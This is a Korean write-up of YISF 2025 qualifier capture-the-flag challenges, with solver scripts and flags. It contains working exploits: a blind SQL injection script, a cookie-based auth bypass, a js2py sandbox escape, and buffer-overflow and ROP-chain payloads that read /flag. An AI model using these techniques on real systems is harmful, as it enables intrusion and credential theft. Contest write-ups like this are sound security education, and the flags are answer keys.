# YISF 2025 Quals | write-up ## MISC ### Hello, YISF 처음에는 사진에 있는 `향설생활관1`이 정답인 줄 알았지만 7글자라 해서 찾아보니 `향설생활관1관`이었다. **FLAG : YISF{순천향대학교_향설생활관1관}** <br> ### FRR2MA RSA의 취약점을 이용한 공격으로 보이는데, F로 시작하는 공격들을 찾아보니 `Franklin-Reiter Related Message Attack`이 있었다. 이 취약점은 선형 관계인 `M1`과 `M2`의 암호화된 값인 `c1`, `c2`를 안다면 암호화된 값에서도 선형 관계가 나타나기 때문에 두 값을 알아낼 수 있다. <br> 이 문제 또한 `related_key_int = (2 * key_int + 1) % n` 이 부분을 보면 선형 관계인 두 값(`related_key_int`, `key`)이 있고, 이 둘을 암호화한 값인 `c1`과 `c2` 또한 주어진다. 플래그는 `key` 값으로 `AES` 암호화된 값이기 때문에 `key` 값을 구하여 복호화 할 수 있다. <br> ```python= from Crypto.Util.number import long_to_bytes from hashlib import sha256 from Crypto.Cipher import AES from sympy import integer_nthroot n = 110790383562224253098510939599833933412428635357837953728395109179813960729182816107988681436513743812819358361106923862730885343138633519926798065820463768625037480979941578471147298188077046651038356798626165262785021225924385199218137272470067134655209051616396196905472279764342469817762560739073895016319 e = 3 c1 = 4610221918541732456982225818778964440222694135208177035261128329594842025185271874296613353670426002500580058027573 enc_hex = "c7b357b8147b2c1aab85b8303a62019834a5e832cc16b52b598772734a90660562c881c06b74ca4cbea351e07c9e4435" key_int, exact = integer_nthroot(c1, 3) assert exact key = long_to_bytes(int(key_int), 16) aes_key = sha256(key).digest()[:32] cipher = AES.new(aes_key, AES.MODE_ECB) flag = cipher.decrypt(bytes.fromhex(enc_hex)).rstrip(b"\x00") print(flag.decode()) ``` **FLAG : YISF{you_Know?_frAnK11N_477CK_CryptO}** <br> ### apple_game_crypto ![image](https://hackmd.io/_uploads/ByDWZV4uxe.png) 재미있는 사과 게임에서 50점을 달성하면 Google Drive 링크에서 두 png 파일을 준다. <br> 별 다른 정보도 없이 암호를 해독하라고 해서 조금 헤매다가, 두 파일의 크기가 같은 것을 보고 서로의 RGB 값을 XOR 연산을 해보았더니 플래그가 나왔다. ```python= from PIL import Image import numpy as np img1 = Image.open('image_A.png').convert('RGB') img2 = Image.open('image_B.png').convert('RGB') width = min(img1.width, img2.width) height = min(img1.height, img2.height) img1 = img1.resize((width, height)) img2 = img2.resize((width, height)) arr1 = np.array(img1) arr2 = np.array(img2) xor_result = np.bitwise_xor(arr1, arr2) result_img = Image.fromarray(xor_result) result_img.save('out.png') result_img.show() ``` <br> ![image](https://hackmd.io/_uploads/HyyBLgS_ex.png) **FLAG : YISF{0hh!_y0ur_v3ry_g00d_4ppl3_g4m3_4nd_rgb_x0r}** <br> ### Applelephant ![image](https://hackmd.io/_uploads/BJpKuQU_xl.png) 사진을 입력받아서 `mse(Mean Squared Error, 평균 제곱 오차)`를 계산하여 `predicted_class_name == 'apple' and confidence > 0.95`와 `mse < 0.01 and mse > 0` 두 조건을 모두 만족하면 플래그를 출력한다. <br> ```python= import tensorflow as tf import numpy as np from PIL import Image model = tf.keras.models.load_model('applelephant.h5') arr = np.array(Image.open('elephant.jpg').convert('RGB').resize((224, 224))) / 255.0 x0 = tf.constant(arr[None, ...], tf.float32) x = tf.Variable(x0) eps = 0.08 alpha = 0.01 for _ in range(300): with tf.GradientTape() as t: t.watch(x) p = tf.nn.softmax(model(x, training=False)) loss = tf.reduce_mean(-tf.math.log(tf.clip_by_value(p[:, 0], 1e-6, 1.0))) g = t.gradient(loss, x) x.assign_sub(alpha * tf.sign(g)) x.assign(tf.clip_by_value(x, x0 - eps, x0 + eps)) x.assign(tf.clip_by_value(x, 0.0, 1.0)) p_val = tf.nn.softmax(model(x, training=False))[0, 0].numpy() mse = np.mean((x.numpy()[0] - arr) ** 2) if p_val > 0.96 and 0 < mse < 0.01: break adv = (x.numpy()[0] * 255).astype(np.uint8) Image.fromarray(adv).save('attack.png') ``` 위 코드로 픽셀에 변화를 주면서 `mse`가 0.01을 넘지 않으면서 `predicted_class_name == 'apple'` 조건을 만족하도록 하는 파일을 생성하였다. <br> ![image](https://hackmd.io/_uploads/HyAZ0VIuxx.png) **FLAG : YISF{Wh0_s4ys_3l3ph4nts_c4nt_b3_4ppl3s?_th15_i5_4pp13!}** <br> ### wallet `ETH vanity address Brute Force` 문제이다. 난수로 후보 프라이빗키를 만들고, 공개키 · `Keccak-256`로 주소를 계산한 뒤, 제시된 접두/접미 패턴과 맞을 때까지 브루트포스하면 된다. <br> ```python= from pwn import remote, context from coincurve import PublicKey from eth_hash.auto import keccak import os, re, time, multiprocessing as mp HOST = os.getenv("HOST", "211.229.232.98") PORT = int(os.getenv("PORT", "20799")) PROCS = int(os.getenv("PROCS", max(1, (os.cpu_count() or 2)))) READ_TIMEOUT = float(os.getenv("READ_TIMEOUT", "8")) DEBUG = os.getenv("DEBUG", "0") == "1" context.log_level = "error" ANSI = re.compile(r'\x1b\[[0-9;]*[A-Za-z]') RULE = re.compile(r"(starting|ending)\s+with\s+(?:['\"])?(?:0x)?([0-9a-fA-F]+)(?:['\"])?", re.I) ROUND = re.compile(r"round\s+(\d+)\s*/\s*(\d+)", re.I) def worker(mode, pat, q, stop): chk = (lambda a: a.startswith(pat)) if mode == "starting" else (lambda a: a.endswith(pat)) while not stop.is_set(): for _ in range(2048): priv = os.urandom(32) try: pub = PublicKey.from_valid_secret(priv).format(compressed=False)[1:] addr = keccak(pub)[-20:].hex() if chk(addr): q.put(priv.hex()); stop.set(); return except Exception: continue if stop.is_set(): return if __name__ == "__main__": try: mp.set_start_method("fork") except Exception: pass r = remote(HOST, PORT) buf = ""; end = time.time() + READ_TIMEOUT while time.time() < end: try: chunk = r.recv(timeout=0.5) except EOFError: break if not chunk: continue buf += chunk.decode("utf-8", "ignore") if "Private key" in buf or ">>> " in buf: break s = ANSI.sub('', buf.replace('\r','\n')) m = ROUND.search(s); total = int(m.group(2)) if m else 100 done = max(0, (int(m.group(1)) if m else 1) - 1) print(f"[Progress] {done}/{total} completed") while done < total: s = ANSI.sub('', buf.replace('\r','\n')) tgt_line = "" for ln in reversed([x.strip() for x in s.splitlines() if x.strip()]): if "find a private key" in ln.lower() or "starting with" in ln.lower() or "ending with" in ln.lower(): tgt_line = ln; break m = RULE.search(tgt_line) or RULE.search(s) if not m: if DEBUG: print("PARSE_FAIL:", repr(s[-200:])) break mode, pat = m.group(1).lower(), m.group(2).lower() with mp.Manager() as M: q, stop = M.Queue(), M.Event() ps = [mp.Process(target=worker, args=(mode, pat, q, stop)) for _ in range(PROCS)] for p in ps: p.start() key = q.get() stop.set() for p in ps: if p.is_alive(): p.terminate() r.sendline(key.encode()) ok = False t_end = time.time() + 6 while time.time() < t_end: try: line = r.recvline(timeout=0.8).decode("utf-8", "ignore") except EOFError: break if not line: break print(line.strip()) low = line.lower() if "proceeding to the next round" in low or "[!] correct" in low: ok = True; break if "congratulations" in low or "flag:" in low: ok = True if not ok: print("[!] Stopped."); break done += 1 print(f"[Progress] {done}/{total} completed ({done*100/total:.1f}%)") if done >= total: t_end = time.time() + 5 while time.time() < t_end: try: ln = r.recvline(timeout=0.8).decode("utf-8", "ignore") except EOFError: break if not ln: break print(ln.rstrip()) break buf = ""; end = time.time() + READ_TIMEOUT while time.time() < end: try: chunk = r.recv(timeout=0.5) except EOFError: break if not chunk: continue buf += chunk.decode("utf-8", "ignore") if "Private key" in buf or ">>> " in buf: break ``` 위 코드를 `PROCS=10 python3 wallet.py` 명령으로 실행하였다. ``` [***] Congratulations! You have passed all rounds! [***] FLAG: b'YISF{Foundry_IS_4_Bl4zing_F4s7_pOr7aB1E_AND_moDu1Ar_7OOlkit!!}' ``` **FLAG : YISF{Foundry_IS_4_Bl4zing_F4s7_pOr7aB1E_AND_moDu1Ar_7OOlkit!!}** <br> ## WEB ### OldMyBlog ```python @app.route("/flag", methods=["GET"]) @require_xhr_or_fetch def flag(): return FLAG ``` 위 코드를 보면 `@require_xhr_or_fetch` 데코레이터를 확인할 수 있는데, 이 데코레이터는 `X-Requested-With`, `Accept`, `Sec-Fetch-Mode` 값만 보고 `AJAX` 요청인지 판단하게 된다. <br> 따라서 아래 코드로 `Accept: application/json` 헤더를 추가하면 우회할 수 있다. ```javascript fetch('/flag', { headers: { 'Accept': 'application/json' } }) .then(r => r.text()) .then(alert) ``` <br> ![image](https://hackmd.io/_uploads/rJUKxLU_eg.png) **FLAG : YISF{flag_xss_markdown_xss}** <br> ### Escape Box ```javascript @app.route('/js', methods=['GET', 'POST']) def js(): if not required_login(): return redirect(url_for("login", error="Login required")) result = '' code = '' if request.method == 'POST': code = request.form.get('code') try: old_stdout = sys.stdout sys.stdout = io.StringIO() context = js2py.EvalJs() def safe_importer(module_name): allowed_modules = ['vuln'] if module_name in allowed_modules: return __import__(module_name) return FakeModule(module_name) def js_import_wrapper(name): if hasattr(name, 'to_python'): name = name.to_python() return safe_importer(name) context = js2py.EvalJs() context.__import__ = js_import_wrapper context.require = js_import_wrapper context.execute(code) result = sys.stdout.getvalue().strip() if not result: result = "[+] Executed. No output." except PyJsException as e: result = f"[!] Error: {str(e)}" except Exception as e: result = f"[!] Error: {e}" finally: sys.stdout = old_stdout return render_template("jsbox.html", result=result, code=code) ``` 위 코드를 보면 `/js`에서 `js2py`로 서버에서 사용자 입력을 실행한다. `vuln` 모듈만 허용해준 걸 볼 수 있는데, 따라서 `__import__('vuln')`로 서버 내부 파이썬 모듈을 그대로 호출할 수 있다. <br> ```javascript var v = __import__('vuln'); v.admin_account(); throw new Error(v.get_account(1)); ``` `/js`에서 위 명령어를 실행하면 base64 인코딩된 admin 계정이 출력된다. ![image](https://hackmd.io/_uploads/HJW-KII_xg.png) <br> admin 계정으로 로그인하면 플래그가 출력된다. ![image](https://hackmd.io/_uploads/HyK8KLU_lx.png) **FLAG : YISF{35c4p3d_j5_s4ndb0x_v1a_js2py}** <br> ### Tralalero Tralala ![image](https://hackmd.io/_uploads/BJI8i8IOlx.png) <br> ```javascript const isAdmin = request.cookies.get('admin')?.value; if (url.pathname.startsWith('/admin')) { if (!isAdmin) { return NextResponse.redirect(new URL('/?error=You are not Tralalero Tralala', request.url)); } } ``` `middleware.js` 파일의 코드를 보면 `admin`이라는 이름의 쿠키와 값이 존재하는지 여부만 검증하기 때문에 admin이라는 이름의 쿠키를 만들어서 `/admin/secret`에 접속하면 플래그가 출력된다. ![image](https://hackmd.io/_uploads/SykEbP8_ex.png) **FLAG : YISF{Tra1a1er0_Tra1a1a_midd1eware_bypass}** <br> ### Session_Recipe ![image](https://hackmd.io/_uploads/S1x0mPLulg.png) ```go err := db.DB. Where(fmt.Sprintf("user_id='%s'", username)). First(&user).Error ``` 로그인 페이지가 있는데, 위 코드를 보면 입력을 그대로 SQL 리터럴에 삽입하기 때문에 SQLI가 가능하다. 하지만 `WHERE` 문 안에 Injection 되기 때문에 `Blind SQL Injection`을 통해 패스워드를 알아내야 한다. <br> ```python import requests, time B = "http://211.229.232.98:20511/login"; T = 20 def t(p): t0 = time.time(); requests.post(B, data={"username":p,"password":"x"}, timeout=T); return time.time()-t0 def slowp(cond): return f"superuser' AND (SELECT CASE WHEN {cond} THEN hex(zeroblob(5e8)) ELSE 1 END)--" base = t("superuser' AND 1=0--"); slow = t(slowp("1=1")); thr = (base+slow)/2 pw = ""; L = 50 for i in range(1, L+1): if (i-1) % 5 == 0: base, slow = t("superuser' AND 1=0--"), t(slowp("1=1")); thr = (base+slow)/2 lo, hi = 33, 126 while lo < hi: mid = (lo+hi+1)//2 p = slowp(f"unicode(substr((SELECT user_pw FROM users WHERE user_id='superuser'), {i}, 1)) >= {mid}") dt = sorted([t(p) for _ in range(3)])[1] if dt > thr: lo = mid else: hi = mid-1 pw += chr(lo); print(f"[{i}/50] {pw}", flush=True) print("[PW]", pw) ``` `pw : N]A<$tt(+F!o@{8K4MLGyH<jAr#{D9_6];}xVaVaq$5p|{Hyyv` <br> ![image](https://hackmd.io/_uploads/r1N2KvLugg.png) `superuser`로 로그인을 해도 `Admin Panel`에서 `session_id`를 검증하기 때문에 플래그를 얻을 수 없다. `session_id`는 앞 8바이트는 `Login Time`의 Unix 나노초를 빅 엔디안으로 패킹하고 아무 8바이트에 base64로 인코딩한 뒤 끝에 @T를 붙이면 된다. ```python import base64, struct, os, datetime t = datetime.datetime.fromisoformat("2025-08-10T18:48:35+00:00") b = struct.pack(">Q", int(t.timestamp() * 1e9)) + os.urandom(8) token = base64.b64encode(b).decode().rstrip("=") + "@T" print(token) ``` <br> ![image](https://hackmd.io/_uploads/H15oYwLuge.png) `session_id`를 변경 후 Admin Panel에 접속하면 개발자 도구에서 플래그를 확인할 수 있다. **FLAG : YISF{s3ss10n_1nj3ct10n_w1th_g0rm_sq71}** <br> ## Reversing ### jump! ![image](https://hackmd.io/_uploads/B1P56DL_lx.png) 디컴파일된 코드를 보면 v5에는 아무 값도 들어가지 않고, 뭔가 이상함을 알 수 있다. <br> ```asm mov [rbp+var_B8], 0 lea rax, format ; "YISF{" mov rdi, rax ; format mov eax, 0 call _printf cmp [rbp+var_B8], 1 jnz short loc_15C1 ``` 위 코드를 보면 `[rbp+var_B8]`을 넣고 `[rbp+var_B8]`을 1과 비교하여 `jnz`로 분기하는 것을 알 수 있다. 디컴파일이 잘못된 것 같다. `jnz`를 `jz`로 패치하여 중간에 있는 코드를 건너뛰지 않도록 하였다. <br> ``` t43w00@DESKTOP-PO6TNV7:~$ ./jump YISF{we1C0Me_TO_yI5F__rEv3rS3_3NgINe3riN9}** ``` **FLAG : YISF{we1C0Me_TO_yI5F__rEv3rS3_3NgINe3riN9}** <br> ### Verifier ![image](https://hackmd.io/_uploads/BkkVVuIugx.png) 각 블록을 모두 더해 `v3`에 저장하고 `v3`의 4바이트를 2번 반복해 8바이트 키를 생성한다. name과 이 키를 XOR하여 8바이트 값을 만들고 `s1`이 `unk_2139`와 같지 않으면 종료된다. <br> ![image](https://hackmd.io/_uploads/SJX-rdIuee.png) 시리얼은 특정 연산을 거쳐 해시값과 비교하여 네 블록 모두 같아야 한다. <br> 세 번째 함수는 플래그를 동적으로 생성해 호출하는 함수이기 때문에, `serial`과 `name`만 구하면 되기에 분석할 필요는 없다. ```python= import hashlib import itertools import string target_hashes = [ "3355b58b97617985ad032226043d3008c5dc915288326e0074654ba344f5b471", "d2c2198d191d3c2f14bba11fe2bb4396bd1dfb7d3df32b70e472d15a72eed13f", "74515ecf40255d006ecaca61026235e0694b9916be6fbdd62c4581d58664b5b4", "a77b3237cb73acfb0e31f93694398f8e7dc158edb14552cbede81d9bf3839e86" ] charset = string.ascii_lowercase + string.digits def find_block_for_hash(target_hash): for combo in itertools.product(charset, repeat=4): block = ''.join(combo) if hashlib.sha256(block.encode()).hexdigest() == target_hash: return block return None serial_blocks = [find_block_for_hash(h) for h in target_hashes] serial = "-".join(serial_blocks) print("Serial : ", serial) unk_2139 = bytes([0xAC, 0xF5, 0x1C, 0x3E, 0xE7, 0xF4, 0x1B, 0x6D]) def block_to_u32_le(block): b = block.encode() return b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24) vals = [block_to_u32_le(b) for b in serial_blocks] v3 = sum(vals) & 0xFFFFFFFF key_bytes = bytes([(v3 >> (8*i)) & 0xFF for i in range(4)] * 2) name_bytes = bytes([u ^ k for u, k in zip(unk_2139, key_bytes)]) name = name_bytes.decode('ascii') print("Name : ", name) ``` <br> ``` t43w00@DESKTOP-PO6TNV7:~$ python3 solve.py Serial : 312a-91ac-41ca-5132 Name found : y15f2025 t43w00@DESKTOP-PO6TNV7:~$ ./verify y15f2025 312a-91ac-41ca-5132 YISF{6eb5632b9271329694aa196d7f27eb0ccd653407bfa45271efe86433747c02f75a761b8c35a62a48bade6853b9fd46f43b82edaf9d53e939388202634f541da9} ``` **FLAG : YISF{6eb5632b9271329694aa196d7f27eb0ccd653407bfa45271efe86433747c02f75a761b8c35a62a48bade6853b9fd46f43b82edaf9d53e939388202634f541da9}** <br> ### ANGRybird 서버에 접속해보니 오토 리버싱 문제였고, 문제 제목을 보니 ANGR을 이용한 풀이라는 것을 알 수 있었다. angr을 사용하여 자동으로 문제를 풀이하는 솔버를 통해 풀이하였다. 입력값의 길이를 짧은 값부터 시도하면 짧은 값 중에 조건을 만족하는 값이 생겨 중간에 틀릴 수 있기에 긴 값부터 시도하도록 하였다. ```python from pwn import * import angr, claripy import os, re, base64, time HOST, PORT = "211.229.232.98", 20401 BAD = b"WRONG" def find_and_consume_elf(buf, gate_num): start_pat = f"--- GATE {gate_num} ---".encode() end_pat = b"INPUT>" sidx = buf.find(start_pat) if sidx < 0: return None, buf nl = buf.find(b"\n", sidx) sidx = nl + 1 if nl != -1 else sidx + len(start_pat) eidx = buf.find(end_pat, sidx) if eidx < 0: return None, buf b64 = buf[sidx:eidx] b64 = re.sub(rb'\x1b\[[0-9;]*m', b'', b64) b64 = re.sub(rb'[\r\n\t ]+', b'', b64) elf = base64.b64decode(b64, validate=False) assert elf[:4] == b'\x7fELF', "not ELF" return elf, buf[eidx + len(end_pat):] def recv_elf_for_gate(io, gate_num, buf=b"", soft_timeout=0.6, hard_deadline=6.0): t0 = time.time() while time.time() - t0 < hard_deadline: elf, buf = find_and_consume_elf(buf, gate_num) if elf: return elf, buf try: chunk = io.recv(8192, timeout=soft_timeout) or b"" except EOFError: raise RuntimeError(f"Connection closed by server during GATE {gate_num} ELF recv") buf += chunk raise RuntimeError(f"ELF capture timeout for GATE {gate_num}") def drain_after_submit(io, next_gate_num, buf=b"", soft_timeout=0.6, hard_deadline=3.0): t0 = time.time() next_marker = f"--- GATE {next_gate_num} ---".encode() acc_print = b"" while time.time() - t0 < hard_deadline: if b"WRONG" in buf: acc_print += buf return "wrong", b"", acc_print if next_marker in buf: return "next", buf, acc_print or buf if b"OK" in buf: acc_print += buf return "ok", b"", acc_print try: chunk = io.recv(8192, timeout=soft_timeout) or b"" except EOFError: return "closed", b"", acc_print buf += chunk acc_print += chunk return "timeout", buf, acc_print def solve_with_angr(path, minL=6, maxL=10, timeout=2.0, ok_tokens=None): proj = angr.Project(path, auto_load_libs=False) def try_solve(printable): for L in range(maxL, minL - 1, -1): x = claripy.BVS("x", 8*L) nl = claripy.BVV(b"\n") st = proj.factory.full_init_state(stdin=x.concat(nl)) for i in range(L): b = x.get_byte(i) if printable: st.solver.add(b >= 0x20, b <= 0x7e) else: st.solver.add(b != 0x00, b != 0x0a, b != 0x0d) sim = proj.factory.simulation_manager(st) def is_ok(s): out = s.posix.dumps(1) return any(tok in out for tok in ok_tokens) if ok_tokens else (b"ROUND1_OK" in out) def is_bad(s): return BAD in s.posix.dumps(1) sim.explore(find=is_ok, avoid=is_bad, timeout=timeout) if sim.found: key = sim.found[0].solver.eval(x, cast_to=bytes) if len(key) == L: return key return None key = try_solve(printable=True) if key is None: key = try_solve(printable=False) return key def main(): LMIN, LMAX, TIMEOUT = 6, 10, 4.0 ROUNDS = 50 io = remote(HOST, PORT) buf = b"" for gate in range(1, ROUNDS+1): elf, buf = recv_elf_for_gate(io, gate, buf) fname = f"gate{gate}_{int(time.time())}.elf" with open(fname, "wb") as f: f.write(elf) os.chmod(fname, 0o755) ok_tokens = [b"ROUND1_OK", f"ROUND{gate}_OK".encode()] key = solve_with_angr(fname, minL=LMIN, maxL=LMAX, timeout=TIMEOUT, ok_tokens=ok_tokens) log.success(f"[GATE {gate}] saved={fname} key={key!r}") io.send(key + b"\n") status, buf, text = drain_after_submit(io, gate+1, buf) if text: try: print(text.decode(errors="ignore")) except: print(repr(text)) if status in ("wrong", "closed"): log.warning(f"Stopping at GATE {gate}: status={status}") break if status == "timeout": log.warning(f"[GATE {gate}] no clear result before timeout; continuing with buffered data...") try: tail = io.recvrepeat(1.0) if tail: print(tail.decode(errors="ignore")) except EOFError: pass io.close() if __name__ == "__main__": main() ``` <br> ``` GATE 50 CLEAR!!! CONGRATS! Here is your flag: YISF{d1d_y0u_kn0w_4n6rrrrr?} ``` **FLAG : YISF{d1d_y0u_kn0w_4n6rrrrr?}** <br> ### too many functions ![image](https://hackmd.io/_uploads/rkcqq5Udlg.png) 코드의 마지막 부분을 보면 입력값의 변환된 134 바이트를 비교하는 것을 알 수 있다. <br> 동적 분석으로 입력값이 어떻게 변화하는지 보면 `AAAA...`를 입력했더니 `CCCC...`, `((((...`와 같이 모든 인덱스가 같이 변화하는 것을 확인할 수 있었다. ![image](https://hackmd.io/_uploads/ryN4iqLOex.png) <br> 따라서 마지막에 비교하는 값의 첫 5바이트인 `SsGm\`과 마지막 바이트 `\033`이 `YISF{...}`와 되어야 한다. <br> ```python= from z3 import * data = b"SsGm\027-\213\213\217'+\217\223'\217+'\211'\201-\211\217\221\203+'#\215\217\213\213-+\213\213\215\217+\205\203\221\201\215)'\215\223\205\221#\223\203%\213-'-\205\223\215\205+\205\207\211%\221\221-\215\205\221%\215''\217\223\205%%\201\211\211\203#\203\213--%\223\211#\207%\217'\205\211)\221-\223)\211\221\213+-'\215\207\215\213\223)\203'\213\205\205'\215)'\221%)-\221#\033" def ror_var(x, r: IntNumRef): e = If(r == 0, x, RotateRight(x, 1)) for i in range(2, 8): e = If(r == i, RotateRight(x, i), e) return e r = Int('r') p = BitVec('p', 8) m = BitVec('m', 8) c = BitVec('c', 8) q = BitVec('q', 8) N = len(data) Y = [BitVec(f"Y{i}", 8) for i in range(N)] s = Solver() s.add(And(r >= 0, r <= 7)) s.add((c & (~m)) == c) prefix = b"YISF{" for i, ch in enumerate(prefix): s.add(Y[i] == BitVecVal(ch, 8)) s.add(Y[-1] == BitVecVal(ord('}'), 8)) for i in range(len(prefix), N - 1): yi = Y[i] s.add(Or(And(yi >= BitVecVal(ord('0'), 8), yi <= BitVecVal(ord('9'), 8)), And(yi >= BitVecVal(ord('a'), 8), yi <= BitVecVal(ord('f'), 8)))) for i, b in enumerate(data): X = BitVecVal(b, 8) s.add(Y[i] == (ror_var(((X ^ p) & m) | c, r) ^ q)) if s.check() != sat: print("unsat") exit(1) model = s.model() rv = model[r].as_long() pv = model[p].as_long() mv = model[m].as_long() cv = model[c].as_long() qv = model[q].as_long() def ror(b, r_): r_ %= 8 return ((b >> r_) | ((b << (8 - r_)) & 0xFF)) & 0xFF plain_bytes = bytes((ror(b ^ pv, 0) for b in b"")) decoded = bytes( (ror(((b ^ pv) & mv) | cv, rv) ^ qv) for b in data ) print(decoded.decode('ascii')) ``` 여러 비트 연산을 해서 플래그 포맷과 일치하는 피연산자 값을 `z3`로 구해 다른 값들에도 연산해주었다. <br> ``` t43w00@DESKTOP-PO6TNV7:~$ python3 solve.py YISF{f557ce79c7ec4c0f4781eca6755fe5567e21806dc6928a91b5fcf2962e234b88f628b6cc792bb0441a15ffb94a3b7c24d8f9d485efc63659d1c522c6dc8bdf8a} ``` **FLAG : YISF{f557ce79c7ec4c0f4781eca6755fe5567e21806dc6928a91b5fcf2962e234b88f628b6cc792bb0441a15ffb94a3b7c24d8f9d485efc63659d1c522c6dc8bdf8a}** <br> ## PWN ### Pheidole Noda ![image](https://hackmd.io/_uploads/HyrgjdUueg.png) `read`에서 BOF가 터진다. <br> ![image](https://hackmd.io/_uploads/B1DXjOLuge.png) 플래그를 출력해주는 함수가 있어서 이 함수의 주소로 `ret`를 덮으면 될 것 같다. <br> ```python from pwn import * r = remote('211.229.232.98', 20301) payload = b'A' * 120 + p64(0x4011fe - 8) r.send(payload) r.interactive() ``` ``` t43w00@DESKTOP-PO6TNV7:~$ python3 exploit.py [+] Opening connection to 211.229.232.98 on port 20301: Done [*] Switching to interactive mode =============== AOF ============= [>] Welcome to the ant colony! [>] You can relocate ants.... [>] Pls ants relocate new colony!! > YISF{w0rk3r_4nt5_f0und_n3w_h0m3} [*] Got EOF while reading in interactive $ ``` **FLAG : YISF{w0rk3r_4nt5_f0und_n3w_h0m3}** <br> ### Simple_SP ![image](https://hackmd.io/_uploads/S1URhO8_gl.png) 첫 번째 함수에서는 첫 번째 `read`에서 BOF가 터져서 9바이트 입력하면 canary leak을 할 수 있다. <br> ![image](https://hackmd.io/_uploads/BkeMpuIOxg.png) <br> ```python= from pwn import * context.arch = 'amd64' # context.log_level = 'debug' elf = ELF('./Simple_SP') libc = ELF('./libc.so.6') # io = process('./Simple_SP') io = remote('211.229.232.98', 20302) def q(blob, off): return u64(blob[off:off+8]) if off+8 <= len(blob) else None # canary leak io.recvuntil(b'Enter your payload:') io.send(b'A' * 9) io.recvuntil(b'You entered: AAAAAAAAA') canary = u64(b'\x00' + io.recv(7)) # canary restore io.send(b'A' * 8 + p64(canary)) io.recvuntil(b'You entered: ') io.recvline() io.send(b'B'*8 + p64(canary)) io.recvuntil(b'read address: ') read_addr = int(io.recvline().strip(), 16) libc_base = read_addr - libc.symbols['read'] libc.address = libc_base rop = ROP(libc) pop_rdi = rop.find_gadget(['pop rdi','ret']).address pop_rsi = rop.find_gadget(['pop rsi','ret']).address pop_rdx_r12 = rop.find_gadget(['pop rdx','pop r12','ret']).address leave_ret = rop.find_gadget(['leave','ret']).address g_xchg = rop.find_gadget(['xchg rax, rdi','ret']) g_mov = rop.find_gadget(['mov rdi, rax','ret']) movfd = g_xchg.address if g_xchg else (g_mov.address if g_mov else None) read_fn = libc.symbols['read'] open_fn = libc.symbols['open'] write_fn = libc.symbols['write'] bss = libc.bss() + 0x800 new_rbp = bss + 0x600 pathbuf = bss + 0x200 outbuf = bss + 0x400 size_p = 0x20 size_r = 0x200 stage2 = b'' stage2 += p64(new_rbp) # read(0, pathbuf, size_p) stage2 += p64(pop_rdi) + p64(0) stage2 += p64(pop_rsi) + p64(pathbuf) stage2 += p64(pop_rdx_r12) + p64(size_p) + p64(0) stage2 += p64(read_fn) # open(pathbuf, 0, 0) stage2 += p64(pop_rdi) + p64(pathbuf) stage2 += p64(pop_rsi) + p64(0) stage2 += p64(pop_rdx_r12) + p64(0) + p64(0) stage2 += p64(open_fn) # rdi = fd (rax) or fallback 3 if movfd: stage2 += p64(movfd) else: stage2 += p64(pop_rdi) + p64(3) # read(fd, outbuf, size_r) stage2 += p64(pop_rsi) + p64(outbuf) stage2 += p64(pop_rdx_r12) + p64(size_r) + p64(0) stage2 += p64(read_fn) # write(1, outbuf, size_r) stage2 += p64(pop_rdi) + p64(1) stage2 += p64(pop_rsi) + p64(outbuf) stage2 += p64(pop_rdx_r12) + p64(size_r) + p64(0) stage2 += p64(write_fn) size_stage2 = len(stage2) io.recvuntil(b'Enter your payload:') prefix = b'A'*8 + p64(canary) + p64(bss) stage1 = ( p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_r12) + p64(size_stage2) + p64(0) + p64(read_fn) + p64(leave_ret) ) payload1 = (prefix + stage1).ljust(0x68, b'\x00') io.send(payload1) io.send(stage2) sleep(0.03) io.send(b'/flag\x00'.ljust(size_p, b'\x00')) io.interactive() ``` ``` t43w00@DESKTOP-PO6TNV7:~$ python3 exploit.py [*] '/home/t43w00/Simple_SP' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No [*] '/home/t43w00/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled [+] Opening connection to 211.229.232.98 on port 20302: Done [*] Loaded 219 cached gadgets for './libc.so.6' [*] Switching to interactive mode You entered: AAAAAAAA YISF{5imp13_sp_is_v33eEEry_eAsy,_r1gh7?}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x